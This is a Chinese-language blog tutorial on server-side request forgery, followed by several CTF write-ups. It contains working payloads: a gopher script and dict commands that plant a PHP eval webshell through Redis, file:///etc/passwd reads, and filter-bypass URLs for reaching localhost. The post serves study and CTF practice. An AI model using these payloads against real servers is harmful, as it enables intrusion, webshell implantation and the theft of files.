SSRF

Last updated on September 27, 2024 am

SSRF基础

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

1
2
3
4
5
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
2.攻击运行在内网或本地的应用程序(比如溢出)
3.对内网 WEB 应用进行指纹识别,通过访问默认文件实现
4.攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
5.利用 file 协议读取本地文件等

SSRF 漏洞出现的场景

1
2
3
4
5
1.能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
2.从远程服务器请求资源(Upload from URLImport & Export RSS Feed
3.数据库内置功能(OracleMongoDBMSSQLPostgresCouchDB
4.Webmail 收取其他邮箱邮件(POP3IMAPSMTP
5.文件处理、编码处理、属性信息处理(ffmpegImageMagicDOCXPDFXML

SSRF漏洞测试

可以对参数名或者参数值有关键字(url,http)等的地方进行测试

通过DNS平台接受解析请求来判断SSRF漏洞有没有发出请求,通过对可能存在漏洞的位置请求指定的域名,看是否接收到请求

例如

1
?url=http://ihvb07.dnslog.cn/

也可自己服务器监听端口,然后向自己服务器发送请求

1
2
nc -lvp 81
?url=http://ip:port/

常见协议利用

利用不安全的输入解析,攻击者可能通过在URL中注入不同的协议头来触发SSRF

1.http协议

使用curl,在靶机上向自己的服务器发送请求,同时带出靶机中的信息

2.Gopher 协议

是一个可以发送自定义TCP数据的协议。

1
gopher://host:8080/gopher

用gopher构造http请求的模板脚本(可以构造post请求)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib.parse

host = "127.0.0.1:80"
# content = "uname=admin&passwd=admin"
# content_length = len(content)
#
# test =\
# """POST /index.php HTTP/1.1
# Host: {}
# User-Agent: curl/7.43.0
# Accept: */*
# Content-Type: application/x-www-form-urlencoded
# Content-Length: {}
#
# {}
# """.format(host,content_length,content)
cookie = "this_is_your_cookie=YWRtaW4nKSBhbmQgaWYoMSxzbGVlcCg1KSwxKSM="
test = \
"""GET /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Cookie: {}
""".format(host, cookie)


tmp = urllib.parse.quote(test)
new = tmp.replace("%0A", "%0D%0A")#需要对不可见字符进行编码
result = urllib.parse.quote(new)
print("gopher://" + host + "/_" + result)

127.0.0.1可以用0.0.0.0代替,0.0.0.0指向本机上的所有IP地址

RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议

用gopher构造redis的脚本(转化为redis RESP协议的格式写shell)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote

url = "http://122.114.254.128:28005" #含有ssrf漏洞的页面
gopher = "gopher://127.0.0.1:6379/_"

# 攻击脚本 #一定记着要转义\n
data = """
auth shell
set test "\\n\\n<?php @eval($_POST[cmd])?>\\n\\n"
config set dir /var/www/html/
config set dbfilename shell.php
save
quit
"""

def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder

# 二次编码
encoder = encoder_url(encoder_url(data))

print(encoder)
3.Dict 协议

一般用于探测端口的指纹信息,做端口扫描

1
dict://<host>:<port>/info

适用于攻击那些支持单行命令的应用,如Redis

1
2
3
4
5
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config set dir var/www/html/
dict://127.0.0.1:6379/set shell "\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x3f\x3e" #<?php eval($_POST['cmd']);?>
dict://127.0.0.1:6379/config set dbfilename shell.php
dict://127.0.0.1:6379/save
4.file 协议

一般用于读取本地文件

1
file:///etc/passwd

使用绝对路径,适用于已知文件路径的

用curl请求则是

1
curl file:///etc/passwd

一道题目:https://github.com/teambi0s/InCTFi/tree/master/2021/Web/RAAS

https://ctf.zeyu2001.com/2021/inctf-2021/raas#challenge

常用的后端实现

1.file_get_contents
1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。

2.fsockopen()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

这段代码使用 fsockopen 函数实现获取用户指定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。

3.curl_exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

使用 curl 获取数据。

常见端口

1
2
3
4
web服务端口:80 8080
Redis端口:6379
Mysql端口:3306
PPH-FPM FastCGI端口:9000

bypass

过滤localhost127.0.0.1

302跳转

在vps上创建302.php

1
2
3
4
5
6
7
8
9
<?php
header("Location:file:///etc/passwd");
?>
<?php
header("Location:dict://127.0.0.1:6379/info");
?>
<?php
header("Location:gopher://127.0.0.1:6666/info");
?>
特殊数字绕过

http://1②7.0.0.1/flag.php

代替.绕过

1
http://127001/flag.php
稀有地址绕过

在windows中,0代表0.0.0.0,而在linux下,0代表127.0.0.1

1
2
http://0/flag.php
http://127.1/flag.php
cidr绕过
1
http://127.127.127.127/flag.php
进制转换
1
2
3
http://0177.0.0.1/flag.php //八进制
http://0x7f.0.0.1/flag.php //十六进制
http://2130706433/flag.php //十进制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
域名解析绕过

指向127.0.0.1的域名

1
2
3
4
http://safe.taobao.com/
http://wifi.aliyun.com/
http://ecd.tencent.com/
http://sudo.cc/

自行生成域名

https://lock.cmpxchg8b.com/rebinder.html

http://ceye.io/ 获得的url后要加上r.,例如http://r.ymugbk.ceye.io/

限制开头

@绕过
1
http://xxx@127.0.0.1/flag.php

限制结尾

参数绕过
1
http://127.0.0.1/flag.php?xxx

SSRF解题步骤

1.找到敏感接口,验证SSFR是否存在

2.尝试用file://协议读取/etc/hosts,根据IP确定目标的内网IP段

3.通过HTTP等协议扫描内网在线主机及端口,确定内网内存活的目标IP以及相应的端口。

4.构造请求,针对性地攻击服务。

[NISACTF 2022]easyssrf

根据题目已经知道是ssrf

这里给了一个访问网站的快照

应该就是通过这里访问本地

尝试一下file协议:file:///etc/passwd ,提示其他路径

尝试直接读取flag

接着访问/fl4g

访问ha1x1ux1u.php,这个要在url中直接访问

1
2
3
4
5
6
7
8
9
10
11
12
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

看到file_get_contents明显可以使用伪协议

因此传参?file=php://filter/read=convert.base64-encode/resource=/flag,再进行base64解码得到

NSSCTF{67d04802-4a49-4cf9-810e-20542dded546}

[HNCTF 2022 WEEK2]ez_ssrf

打开题目,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}

可以看到属于使用fsockopen的ssrf

fsockopen的后端实现方式如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

对比一下可以看到上面的data其实就相当于下面的out,因此构造poc

1
2
3
4
5
6
7
8
$out="GET /flag.php HTTP/1.1\r\n";
$out.="Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
echo base64_encode($out);


#R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQoNCg==

接着传参?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQoNCg==

[De1ctf 2019]SSRF Me

打开得到的是混乱的源码,手动整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#! /usr/bin/env python
# encoding=utf-8
from imp import reload

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


# generate Sign For Action Scan.

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))

param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)): return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index(self):
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()

if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__': app.debug = False
app.run(host='0.0.0.0', port=80)

看到有三个路由

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST']) #可以get传参param

@app.route('/De1ta', methods=['GET', 'POST']) #可以get传参param ,cookie 传参 action ,sign

@app.route('/') #可以get传参 param
1
2
3
4
5
6
7
8
9
10
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))

param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)): return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

/De1ta路径下,param要经过waf()

1
2
3
4
5
6
7
def waf(param):
check = param.strip().lower()

if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

param参数中不能含有gopher和file

接着看到Task类的Exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

首先要通过checkSign()

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

调用了getSign(),跟进去

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

secert_key + param + action的md5要等于传进去的sign

action 必须要含有 scan和read

含有scan 则可以读出param文件中的内容然后写进临时文件中,因此param传参flag.txt

含有read则可以打开临时文件并将文件内容读取出来返回

/geneSign路径下的geneSign()函数可以自动利用密钥产生签名

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

因此在/genesign路径下传参?param=flag.txtread

得到签名3cc2121e7470ced190ff9c4d8be57d1b

,这样一来得到secert_keyflag.txtreadscan的md5,

回到/De1ta路径下,Task类中,

action传参readscan

参考资料

https://ctf-wiki.org/web/ssrf/?h=ssrf

https://tttang.com/archive/1648/#toc_dict


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2023/01/04/SSRF/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!